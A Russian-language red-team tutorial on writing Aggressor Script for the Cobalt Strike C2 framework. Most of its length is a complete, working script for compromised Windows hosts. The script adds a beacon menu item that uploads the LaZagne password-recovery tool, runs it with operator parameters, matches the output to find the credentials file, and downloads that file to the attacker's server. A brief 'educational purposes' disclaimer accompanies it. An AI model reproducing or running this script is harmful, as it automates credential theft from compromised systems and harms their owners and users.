Написание скриптов для Cobalt Strike C2 (Aggressor Script)
Введение
Cobalt Strike — это профессиональный инструмент для проведения тестирования на проникновение (penetration testing) и моделирования действий злоумышленников (adversary simulation).
Основной функцией Cobalt Strike является возможность создавать Beacon'ы - асинхронные пост-эксплуатационный агенты, которые могут осуществлять команды управления и контроля (C2), обеспечивая связь между атакующим и скомпрометированными системами.
Что такое Aggressor Script
Aggressor Script — это мощный инструмент, разработанный для расширения функциональности Cobalt Strike и автоматизации различных задач в процессе тестирования на проникновение. Он позволяет пользователям Cobalt Strike писать свои скрипты на языке Sleep, чтобы автоматизировать и настраивать поведение инструмента.
Основные элементы Aggressor Script
Events - позволяют настроить реакцию Beacon'ов на какие-либо события. Например, beacon_output
срабатывает когда в консоль Beacon'а приходит какая-либо информация.
Functions - перечень функций, позволяющих взаимодействовать как с Beacon'ами, так и с C2 сервером или клиентом. Например, функция bupload
позволяет загрузить локальный файл на атакуемую систему.
Popup Hooks - позволяет работать с GUI Cobalt Strike - добавлять пункты меню, а также получать информацию о том, где они были вызваны. Например, если добавить кнопку "Test" в Popup Hook targets
, то она появится в разделе Targets Cobalt Strike:
В целом, изучение этих разделов достаточно, чтобы писать полезные инструменты для автоматизации некоторых процессов. Более подробную информацию, как всегда, можно получить из официальной документации Cobalt Strike.
Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.
Написание простого скрипта
Таким образом, базовая схема скрипта выглядит так:
- Создаём Popup Hook на какой либо элемент интерфейса
- Обрабатываем его через вызов функций из раздела Functions
Либо, если вам удобнее, то можно создавать собственные команды для CLI Beacon'ов. Прочитать об этом можно здесь.
Автоматизация запуска LaZagne
LaZagne — open source инструмент, который помогает искать пароли на Windows, Linux или Mac системах.
Для начала необходимо создать скриптовый файл с расширением .cna и поместить в одну директорию с ним исполняемый файл LaZagne.
Функционал скрипта
Скрипт должен спрашивать у оператора путь, по которому необходимо загрузить исполняемый файл LaZagne, а также параметры для запуска утилиты. Вызываться скрипт будет через выбор необходимых Beacon'ов и вызов контекстного меню (при помощи Popup Hook beacon_bottom
).
Загрузка утилиты и её запуск
Для начала необходимо создать кнопку в контекстном меню при выделении Beacon'ов:
popup beacon_bottom { item "Run LaZagne" { } }
Теперь можно зайти в Cobalt Strike и загрузить скрипт через Script Manager:
Видно, что появился новый элемент интерфейса:
Пока он ничего не делает, а должен при нажатии выводить диалог для ввода абсолютного пути. Это можно осуществить используя функцию prompt_text. Она принимает следующие аргументы:
$1 - текст диалога $2 - значение по-умолчанию в поле ввода $3 - callback функция. Будет вызвана когда оператор подтвердит ввод, первым переданным callback функции аргументом будет текст из поля ввода
Попросим оператора ввести путь и загрузим туда LaZagne:
prompt_text("Enter writable path to upload LaZagne", "C:\\Windows\\Tasks", lambda({ $writable_path = $1; bcd(@beacons, $writable_path); bupload(@beacons, script_resource("LaZagne.exe")); }));
Перезагрузим скрипт и посмотрим что получилось:
Теперь попросим оператора ввести параметры и запустим утилиту:
prompt_text("Enter writable path to upload LaZagne", "C:\\Windows\\Tasks", lambda({ $writable_path = $1; prompt_text("Enter LaZagne params", "all", lambda({ $params = $1; bcd(@beacons, $writable_path); bupload(@beacons, script_resource("LaZagne.exe")); bshell(@beacons, $writable_path . "\\" . "LaZagne.exe " . $params . " -oN"); })); }));
Сбор результатов
Теперь, когда утилита завершила свою работу, она сообщила об этом в консоль Beacon'а. Можно создать Event хэндлер beacon_output
, который отлавливает это событие и, если был найден текст [+] File written: .\\credentials_*_*.txt
, собрать файл с результатами.
on beacon_output { $beacon_id = $1; $message = $2; }
Для поиска и извлечения названия файла с результатами можно использовать регулярные выражения:
if ($message hasmatch '\[\+\] File written: \.\\\(credentials_\d+_\d+\.txt)') { $filename = matched()[0]; }
Осталось скачать файл при помощи функции bdownload:
bdownload($beacon_id, $filename);
Файл с результатами появился в разделе Downloads:
popup beacon_bottom { @beacons = $1; item "Run LaZagne" { prompt_text("Enter writable path to upload LaZagne", "C:\\Windows\\Tasks", lambda({ $writable_path = $1; prompt_text("Enter LaZagne params", "all", lambda({ $params = $1; bcd(@beacons, $writable_path); bupload(@beacons, script_resource("LaZagne.exe")); bshell(@beacons, $writable_path . "\\" . "LaZagne.exe " . $params . " -oN"); })); })); } } on beacon_output { $beacon_id = $1; $message = $2; if ($message hasmatch '\[\+\] File written: \.\\\(credentials_\d+_\d+\.txt)') { $filename = matched()[0]; bdownload($beacon_id, $filename); } }
Заключение
В данной статье мы с Вами рассмотрели простейшее использование в практике агрессор-скриптов для Cobalt Strike и надеемся, что данная статья Вас вдохновит и поможет в написании своих инструментов кастомизации функционала данного C2 фреймворка.